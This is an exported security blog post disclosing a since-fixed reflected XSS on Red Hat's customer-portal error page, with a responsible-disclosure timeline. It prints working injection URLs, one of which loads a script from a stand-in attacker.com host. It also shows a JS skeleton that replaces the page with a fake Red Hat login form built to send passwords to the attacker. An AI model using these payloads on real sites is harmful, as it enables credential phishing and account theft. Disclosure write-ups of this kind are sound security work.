{"id":2014,"date":"2016-05-01T17:34:39","date_gmt":"2016-05-01T15:34:39","guid":{"rendered":"https:\/\/www.asafety.fr\/?p=2014"},"modified":"2016-07-25T00:34:11","modified_gmt":"2016-07-24T22:34:11","slug":"contribution-poc-redhat-credential-stealer-rxss","status":"publish","type":"post","link":"https:\/\/www.asafety.fr\/en\/vuln-exploit-poc\/contribution-poc-redhat-credential-stealer-rxss\/","title":{"rendered":"[Contribution \u2013 PoC] RedHat \u2013 Credential Stealer RXSS"},"content":{"rendered":"<p><\/p>\n<p style=\"text-align: center;\"><strong>The generic error page of the Red Hat customer portal suffers from a Cross-Site Scripting vulnerability to\u00a0steal users credential in plaintext.<\/strong><\/p>\n<h1>Introduction<\/h1>\n<p>As part of my personal projects, as during my professional activity, it is not uncommon that I sign on RedHat sites to download resources (or find solutions to more or less twisted bugs :)) . It&#8217;s during\u00a0a simple research that\u00a0I reached an error page by following a link to a subject in the RedHat support&#8230; And this page included one GET parameter vulnerable to\u00a0XSS injection.<\/p>\n<p>Red Hat, Inc. is an American multinational software company providing open-source software products to the enterprise community.\u00a0Red Hat has become associated to a large extent with its enterprise operating system Red Hat Enterprise Linux and with the acquisition of open-source enterprise middleware vendor JBoss. Red Hat provides storage, operating system platforms, middleware, applications, management products, and support, training, and consulting services.<\/p>\n<p>Red Hat creates, maintains, and contributes to many free software projects. It has acquired several proprietary software product codebases through corporate mergers and acquisitions and has released such software under open source licenses. As of June 2013, Red Hat is the largest corporate contributor to Linux.<\/p>\n<p>RedHat has a website dedicated to its customers (including support). This is accessible via &#8220;access.redhat.com&#8221;. The generic error page when accidentally followed a wrong link suffers from an XSS reflection.<\/p>\n<h1>Analysis and exploitation<\/h1>\n<h2>Canonical alert() RXSS<\/h2>\n<p>The reflected GET parameter &#8220;uri&#8221; is located here :<\/p>\n<pre>https:\/\/access.redhat.com\/downloads\/content\/error?code=403&amp;uri=&lt;\/mark&gt;&lt;img src=x onerror=\"alert(\/Yann CAM - Security Consultant @ASafety - SYNETIS\/)\" \/&gt;&lt;mark&gt;&amp;client=13.37.13.37&amp;edge=13.37.13.37&amp;timestamp=1446643590<\/pre>\n<p>This parameter was not filtered nor cleaned before being injected into the source code of the page :<\/p>\n<div id=\"attachment_2015\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151104-RXSS_access.redhat.com_001.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2015\" class=\"wp-image-2015 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151104-RXSS_access.redhat.com_001-300x187.png\" alt=\"Canonical alert() RXSS RedHat\" width=\"300\" height=\"187\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151104-RXSS_access.redhat.com_001-300x187.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20151104-RXSS_access.redhat.com_001-768x479.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20151104-RXSS_access.redhat.com_001-1024x639.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20151104-RXSS_access.redhat.com_001.png 1247w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2015\" class=\"wp-caption-text\">Canonical alert() RXSS RedHat<\/p><\/div>\n<p>At the source, no verification of the value of the parameter &#8220;uri&#8221; is performed:<\/p>\n<div id=\"attachment_2016\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151104-RXSS_access.redhat.com_002.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2016\" class=\"wp-image-2016 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151104-RXSS_access.redhat.com_002-300x116.png\" alt=\"RedHat RXSS source-code\" width=\"300\" height=\"116\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151104-RXSS_access.redhat.com_002-300x116.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20151104-RXSS_access.redhat.com_002-768x296.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20151104-RXSS_access.redhat.com_002-1024x394.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20151104-RXSS_access.redhat.com_002.png 1649w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2016\" class=\"wp-caption-text\">RedHat RXSS source-code<\/p><\/div>\n<h2>Designing an exploitation\u00a0payload<\/h2>\n<p>In this case, the RXSS is located on a sub-domain of interest (the customer portal access.redhat.com) but to simulate an authentication target, it is necessary to reset the DOM of the page.<\/p>\n<p>The execution of arbitrary JavaScript in the context of the page being performed successfully, an attacker can load a remote JS script (as long as it is accessible through HTTPS &#8211; HSTS protocol) and change the browser victims&#8217;s DOM.<\/p>\n<p>Such payload can do these operations\u00a0:<\/p>\n<ul>\n<li>Delete the entire content visible in the browser<\/li>\n<li>Recreating a full page (through DOM) arbitrarily, according to the attacker. The creation of a strictly similar page to the official authentication page would be a wise choice.<\/li>\n<\/ul>\n<p>RedHat has a centralized authentication page (IdP): https:\/\/idp.redhat.com<\/p>\n<div id=\"attachment_2017\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/idp_redhat.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2017\" class=\"size-medium wp-image-2017\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/idp_redhat-300x97.png\" alt=\"Legitimate IdP of RedHat\" width=\"300\" height=\"97\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/idp_redhat-300x97.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/idp_redhat-768x249.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/idp_redhat-1024x332.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/idp_redhat.png 1432w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2017\" class=\"wp-caption-text\">Legitimate IdP of RedHat<\/p><\/div>\n<p>The idea will be to clone the source code of this page (HTML \/ JS \/ CSS) for rewriting on the fly in the context of &#8220;access.redhat.com&#8221; where our XSS operates.<\/p>\n<p>Unlike the official page of the IdP, it will be slightly modified to transmit unencrypted usernames and passwords entered by potential victims to attacker (as a demo).<\/p>\n<p>To carry out the operating PoC, simulating the official IdP and changing the behavior of the form, the attacker\u00a0can use the following JS file:<\/p>\n<pre>\/\/ Delete all current DOM (&lt;head&gt;, &lt;body&gt;, &lt;style&gt;, etc...)\r\ndocument.documentElement.innerHTML = '';\r\nfunction heredoc (f) {\r\nreturn f.toString().match(\/\\\/\\*\\s*([\\s\\S]*?)\\s*\\*\\\/\/m)[1].replace(\/(\\\/\\*[\\s\\S]*?\\*) \\\/\/g, '$1\/');\r\n};\r\nvar content = heredoc(function() {\/*\r\n&lt;!DOCTYPE html&gt;\r\n&lt;html xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\" lang=\"\" \/&gt;\r\n[...] Source code of the RedHat IdP modified to grab user's credential [...]\r\n&lt;\/html&gt;\r\n*\/});\r\nsetTimeout('document.write(content)', 1000);<\/pre>\n<p>Once this file hosted on &#8220;https:\/\/attacker.com\/x.js&#8221; and then loaded in the browser of a victim visiting &#8220;access.redhat.com&#8221; the following changes result occur:<\/p>\n<ul>\n<li>Any current page (DOM) is emptied instantly<\/li>\n<li>The DOM is recreated to display a\u00a0page identical to the legitimate IdP RedHat<\/li>\n<li>The authentication form of this fake-IdP is modified to send logins \/ passwords in plaintext\u00a0to the attacker<\/li>\n<li>For the victim, besides an additional authentication time of one second, no change is visible.<\/li>\n<\/ul>\n<p>The third-party file is loaded into the DOM of a victim via an URL like this one:<\/p>\n<pre>https:\/\/access.redhat.com\/downloads\/content\/error?code=403&amp;uri=&lt;\/mark&gt;&lt;img src=x onerror=\"var s%3Ddocument.createElement('script')%3Bs.setAttribute('src','https:\/\/attacker.com\/x.js')%3Bdocument.getElementsByTagName('head').item(0).appendChild(s)%3B\" \/&gt;&lt;mark&gt;&amp;client=13.37.13.37&amp;edge=13.37.13.37&amp;timestamp=1446643590<\/pre>\n<p>Fake-IdP displayed\u00a0in &#8220;access.redhat.com&#8221; context :<\/p>\n<div id=\"attachment_2018\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20163103-RXSS_access.redhat.com_003.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2018\" class=\"size-medium wp-image-2018\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20163103-RXSS_access.redhat.com_003-300x204.png\" alt=\"Fake-IdP created in the DOM\" width=\"300\" height=\"204\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20163103-RXSS_access.redhat.com_003-300x204.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20163103-RXSS_access.redhat.com_003-768x523.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20163103-RXSS_access.redhat.com_003-1024x698.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20163103-RXSS_access.redhat.com_003.png 1255w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2018\" class=\"wp-caption-text\">Fake-IdP created in the DOM<\/p><\/div>\n<h2>Exploitation\u00a0and demonstration<\/h2>\n<p>To illustrate the use of this technic to the RedHat&#8217;s teams , here&#8217;s a demonstration video of the full attack scenario. An attacker could start a phishing campaign \/ spear-phishing from the exploitation of the vulnerable URL. He can target sysadmins \/ DSI \/ Corporate CISO\u00a0with a RedHat access and therefore steal their credentials.<\/p>\n<p><iframe loading=\"lazy\" width=\"600\" height=\"450\" src=\"https:\/\/www.youtube.com\/embed\/Eb83GDEq9N8?feature=oembed\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<h1>Notification and conclusion<\/h1>\n<p>RedHat teams were alerted November 4, 2015 with details of the canonical XSS. Following a reply dated 09.11.2015 and thanks, was followed by several technical exchanges about the process of reproduction of vulnerability.<\/p>\n<p>On 16 January 2016, I sent an email to get a status about\u00a0the identification of vulnerability and its patch. Two days later, Jiri replied that the vulnerability\u00a0had been identified but had not yet been corrected.<\/p>\n<p>March 17 2016 vulnerability still exists. I start designing a PoC illustrating the criticity of the vulnerability (above demo video). It&#8217;s always more clear\u00a0to decision makers a visual demonstration of the impact of a vulnerability rather than a simple &#8220;alert() JavaScript&#8221;. I had opted for this kind of\u00a0responsible disclosure with <a href=\"https:\/\/www.asafety.fr\/vuln-exploit-poc\/contribution-poc-fortinet-sso-idp-credential-stealer-rxss\/\" target=\"_blank\">Fortinet<\/a>\u00a0by the past.<\/p>\n<p>The next day, I get a feedback with thanks about this &#8220;great PoC&#8221;. The fix is being tested.<\/p>\n<p>I check April 25, 2016 if the vulnerability is always present and it seems corrected! I send message to Jiri for confirmation. This satisfies me 27 April 2016 confirming the fix and ask my personal details for acknowledgment.<\/p>\n<p>After a few months of exchanges, I want to thank Jiri for his kindness, his interest and rapid response to all the exchanges that we had ;)!<\/p>\n<p>Also thank you for the <a href=\"https:\/\/access.redhat.com\/articles\/66234\" target=\"_blank\">acknowledgement<\/a>\u00a0by the way!<\/p>\n<div id=\"attachment_2019\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20163104-RXSS_access.redhat.com_004.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2019\" class=\"size-medium wp-image-2019\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20163104-RXSS_access.redhat.com_004-300x231.png\" alt=\"RedHat acknowledgement\" width=\"300\" height=\"231\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20163104-RXSS_access.redhat.com_004-300x231.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20163104-RXSS_access.redhat.com_004-768x590.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20163104-RXSS_access.redhat.com_004-1024x787.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20163104-RXSS_access.redhat.com_004.png 1222w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2019\" class=\"wp-caption-text\">RedHat acknowledgement<\/p><\/div>\n<p><strong>Sources &amp; resources :<\/strong><\/p>\n<ul>\n<li><a href=\"https:\/\/www.redhat.com\/\" target=\"_blank\">RedHat.com<\/a><\/li>\n<li><a href=\"https:\/\/access.redhat.com\/articles\/66234\" target=\"_blank\">Vulnerability Acknowledgements for Red Hat online services<\/a><\/li>\n<li><a href=\"https:\/\/access.redhat.com\/\" target=\"_blank\">Access.RedHat.com<\/a><\/li>\n<li><a href=\"https:\/\/www.youtube.com\/watch?v=Eb83GDEq9N8\" target=\"_blank\">Demonstration video<\/a><\/li>\n<li><a href=\"https:\/\/packetstormsecurity.com\/files\/136882\/access.redhat.com-Cross-Site-Scripting.html\" target=\"_blank\">PacketStorm Advisory<\/a><\/li>\n<\/ul>\n<p><\/p>","protected":false},"excerpt":{"rendered":"<p>The generic error page of the Red Hat customer portal suffers from a Cross-Site Scripting vulnerability to\u00a0steal users credential in [&hellip;]<\/p>\n","protected":false},"author":1337,"featured_media":2011,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[378,14,515],"tags":[477,206,478,379],"class_list":["post-2014","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-contributions","category-vuln-exploit-poc","category-xss","tag-credential-stealer","tag-cross-site-scripting","tag-redhat","tag-rxss"],"_links":{"self":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/2014","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/users\/1337"}],"replies":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/comments?post=2014"}],"version-history":[{"count":8,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/2014\/revisions"}],"predecessor-version":[{"id":2029,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/2014\/revisions\/2029"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media\/2011"}],"wp:attachment":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media?parent=2014"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/categories?post=2014"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/tags?post=2014"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}